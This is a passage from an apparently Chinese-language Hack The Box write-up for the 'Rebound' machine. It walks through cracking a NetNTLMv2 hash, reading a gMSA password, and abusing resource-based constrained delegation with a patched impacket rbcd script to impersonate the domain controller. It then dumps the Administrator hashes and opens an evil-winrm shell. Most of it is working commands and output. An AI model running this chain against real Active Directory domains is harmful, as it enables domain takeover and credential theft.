ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
TBRADY::rebound:7e75a6761804e084:26a0a51afa084cd44c4738d0de4fa4cb:0101000000000000006
f9e4f4f70db01892724e8dbdb603b0000000002000e007200650062006f0075006e006400010008004400
430030003100040016007200650062006f0075006e0064002e00680074006200030020006400630030003
1002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064
002e0068007400620007000800006f9e4f4f70db010600040006000000080030003000000000000000010
000000020000056ad783ae796ab6c89c592edc51e80d08ac5a550ded4dda3882dd6156297a55f0a001000
00000000000000000000000000000000090000000000000000000000:543BOMBOMBUNmanda
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TBRADY::rebound:7e75a6761804e084:26a0a51afa084cd44c...000000
Time.Started.....: Sun Jan 26 15:17:52 2025 (8 secs)
Time.Estimated...: Sun Jan 26 15:18:00 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1589.7 kH/s (1.25ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12192768/14344385 (85.00%)
Rejected.........: 0/12192768 (0.00%)
Restore.Point....: 12189696/14344385 (84.98%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 5440166 -> 54238426
Hardware.Mon.#1..: Util: 61%
Started: Sun Jan 26 15:17:36 2025
Stopped: Sun Jan 26 15:18:01 2025
获得凭据： TBRADY: 543 BOMBOMBUNmanda
拿这个密码申请票据
sudo impacket-getTGT -dc-ip "dc01.rebound.htb"
rebound.htb/'tbrady:543BOMBOMBUNmanda'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in tbrady.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME=tbrady.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo nxc ldap rebound.htb -d rebound.htb --use-kcache
SMB rebound.htb 445 DC01 [*] Windows 10 / Server 2019
Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\tbrady
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo nxc ldap rebound.htb -d rebound.htb --use-kcache --gmsa
SMB rebound.htb 445 DC01 [*] Windows 10 / Server 2019
Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\tbrady from
ccache
LDAPS rebound.htb 636 DC01 [*] Getting GMSA Passwords
LDAPS rebound.htb 636 DC01 Account: delegator$
NTLM: 45326e68995ec3b859228fd504be8617
然后
sudo impacket-getTGT -dc-ip rebound.htb rebound.htb/delegator\$ -hashes
:45326e68995ec3b859228fd504be8617
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in delegator$.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME='delegator$.ccache'
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ klist
Ticket cache: FILE:delegator$.ccache
Default principal: delegator$@REBOUND.HTB
Valid starting Expires Service principal
12/27/2024 19:40:15 12/28/2024 05:40:15 krbtgt/REBOUND.HTB@REBOUND.HTB
renew until 12/28/2024 19:40:14
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-rbcd -no-pass -k rebound.htb/'delegator$' -delegate-to 'delegator$'
-delegate-from ldap_monitor -dc-ip 10.129.229.114 -use-ldaps -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] ("('socket ssl wrapping error: [SSL: UNEXPECTED_EOF_WHILE_READING] EOF occurred
in violation of protocol (_ssl.c:1001)',)",)
经调试，我发现 impacket-rbcd 不支持 ldaps，因此我们必须将此脚本中的 init_ldap_connection 修补为以下代码，才能成功执行。
def init_ldap_connection(target, tls_version, args, domain, username, password,
lmhash, nthash):
user = '%s\\%s' % (domain, username)
connect_to = target
if args.dc_ip is not None:
connect_to = args.dc_ip
if tls_version is not None:
use_ssl = True
port = 636
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
else:
use_ssl = False
port = 389
tls = None
ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port,
use_ssl=use_ssl, tls=tls)
if args.k:
ldap_session = ldap3.Connection(ldap_server)
ldap_session.bind()
ldap3_kerberos_login(ldap_session, target, username, password, domain,
lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
elif args.hashes is not None:
ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":"
+ nthash, authentication=ldap3.NTLM, auto_bind=True)
else:
ldap_session = ldap3.Connection(ldap_server, user=user, password=password,
authentication=ldap3.NTLM, auto_bind=True)
return ldap_server, ldap_session
启动比较，能精确看到相比原程序做了哪些修改：
vimdiff rbcd-ldapfix.py /usr/share/doc/python3-impacket/examples/rbcd.py
再次成功：
./rbcd-ldapfix.py -no-pass -k rebound.htb/delegator\$ -delegate-to delegator\$ -
delegate-from ldap_monitor -dc-ip rebound.htb -use-ldaps -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
而用 hash 实现 rbcd：
./rbcd-ldapfix.py -k rebound.htb/delegator\$ -hashes
:45326e68995ec3b859228fd504be8617 -delegate-to delegator\$ -delegate-from
ldap_monitor -dc-ip rebound.htb -use-ldaps -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
获得受委派的 ldap_monitor 的 TGT 票据：
sudo impacket-getTGT -dc-ip dc01.rebound.htb
rebound.htb/ldap_monitor:'1GR8t@$$4u'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ldap_monitor.ccache
生成通用代理票据（S 4 U 2 Self 和初步 S 4 U 2 Proxy）：
sudo impacket-getST -spn browser/dc01.rebound.htb -impersonate "dc01$"
rebound.htb/ldap_monitor -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
设置环境变量 KRB 5 CCNAME ，以指定当前会话使用
dc 01$@ browser_dc01.rebound.htb@REBOUND.HTB.ccache Kerberos 票据缓存文件
sudo impacket-getST -spn http/dc01.rebound.htb -impersonate dc01\$ -additionalticket
'dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache' -hashes
:45326e68995ec3b859228fd504be8617 -no-pass -k -dc-ip rebound.htb
rebound.htb/delegator\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating dc01$
[*] Using additional ticket dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@http_dc01.rebound.htb@REBOUND.HTB.ccache
如上这段代码继续资源约束委派的攻击链，通过加载第一阶段生成的票据，针对目标服务（HTTP 服务）请求代理票据。在这里， -additional-ticket 参数提供了第一阶段生成的 .ccache 文件，以跳过S 4 U 2 Self 流程，直接进入 S 4 U 2 Proxy。这意味着攻击者在扮演 dc 01$ 用户的同时，利用资源约束委派向目标 SPN http/dc 01. Rebound. Htb 请求服务票据。通过 -hashes 参数提供的哈希值，进一步证明身份或提高操作灵活性。最终，生成的票据被保存到一个新 .ccache 文件中，可直接用于目标 HTTP 服务的认证。这一步是为了实现攻击链的实际目标，即对目标服务的代理访问。
申请 browser 票据是先通过 S 4 U 2 Self 获取自身的服务票据（ browser/dc 01. Rebound. Htb ）。而申请 http票据是再通过 S 4 U 2 Proxy 使用已有票据（browser）请求更具体的服务票据
（ http/dc 01. Rebound. Htb ）。
设置环境变量 KRB5CCNAME ，以指定当前会话使用 dc01$@ http_dc01.rebound.htb@REBOUND.HTB.ccache
Kerberos 票据缓存文件
export KRB5CCNAME='dc01$@http_dc01.rebound.htb@REBOUND.HTB.ccache'
用这个票据认证并转储域控制器中的用户 administrator 的哈希：
sudo impacket-secretsdump dc01.rebound.htb -k -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8::
:
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-
96:32fd2c37d71def86d7687c95c62395ffcbeaf13045d1779d6c0b95b056d5adb1
Administrator:aes128-cts-hmac-sha1-96:efc20229b67e032cba60e05a6c21431f
Administrator:des-cbc-md5:ad8ac2a825fe1080
[*] Cleaning up..
命令中使用 Kerberos 凭据通过 DRSUAPI（远程复制协议，Directory Replication Service Unicode API， U
表示对 Unicode 数据的支持，这是微软命名惯例的一部分） 仅从目标域控 ( dc 01. Rebound. Htb ) 的
NTDS. Dit 文件中提取 administrator 用户的数据，包括 NTLM 哈希或 Kerberos 密钥。它隐含启用了 -
Just-dc ，表示仅提取域控数据，而不会对本地 SAM 文件等进行扫描。
RBCD 利用过程纯命令版本
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo ntpdate rebound.htb
2025-01-01 06:31:14.856040 (-0500) +7593.497995 +/- 0.043169 rebound.htb
10.129.229.114 s1 no-leap
CLOCK: time stepped by 7593.497995
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-getTGT -dc-ip "dc01.rebound.htb"
rebound.htb/'tbrady:543BOMBOMBUNmanda
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in tbrady.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME=tbrady.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo nxc ldap rebound.htb -d rebound.htb --use-kcache --gmsa
SMB rebound.htb 445 DC01 [*] Windows 10 / Server 2019
Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\tbrady from
ccache
LDAPS rebound.htb 636 DC01 [*] Getting GMSA Passwords
LDAPS rebound.htb 636 DC01 Account: delegator$
NTLM: 45326e68995ec3b859228fd504be8617
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-getTGT -dc-ip rebound.htb rebound.htb/delegator\$ -hashes
:45326e68995ec3b859228fd504be8617
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in delegator$.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME='delegator$.ccache'
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ klist
Ticket cache: FILE:delegator$.ccache
Default principal: delegator$@REBOUND.HTB
Valid starting Expires Service principal
01/01/2025 06:32:01 01/01/2025 16:32:01 krbtgt/REBOUND.HTB@REBOUND.HTB
renew until 01/02/2025 06:31:56
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ ./rbcd-ldapfix.py -no-pass -k rebound.htb/delegator\$ -delegate-to delegator\$ -
delegate-from ldap_monitor -dc-ip rebound.htb -use-ldaps -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-getTGT -dc-ip dc01.rebound.htb
rebound.htb/ldap_monitor:'1GR8t@$$4u'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ldap_monitor.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME=ldap_monitor.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-getST -spn browser/dc01.rebound.htb -impersonate "dc01$"
rebound.htb/ldap_monitor -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME=dc01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-getST -spn http/dc01.rebound.htb -impersonate dc01\$ -additionalticket
'dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache' -hashes
:45326e68995ec3b859228fd504be8617 -no-pass -k -dc-ip rebound.htb
rebound.htb/delegator\$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating dc01$
[*] Using additional ticket dc01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@http_dc01.rebound.htb@REBOUND.HTB.ccache
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ export KRB5CCNAME='dc01$@http_dc01.rebound.htb@REBOUND.HTB.ccache'
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo impacket-secretsdump dc01.rebound.htb -k -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8::
:
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-
96:32fd2c37d71def86d7687c95c62395ffcbeaf13045d1779d6c0b95b056d5adb1
Administrator:aes128-cts-hmac-sha1-96:efc20229b67e032cba60e05a6c21431f
Administrator:des-cbc-md5:ad8ac2a825fe1080
[*] Cleaning up...
获得 administrator 的 shell：
┌──(kali㉿kali)-[~/RedteamNotes/HTB/Rebound]
└─$ sudo evil-winrm -i rebound.htb -u Administrator -H
176be138594933bb67db3b2572fc91b8
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
rebound\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.229.114
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
*Evil-WinRM* PS C:\Users\Administrator\Documents> gc ../desktop/root.txt
49dad0017816fab5270fae3b7ead9877
也获得了 root flag。
浙公网安备 33010602011771号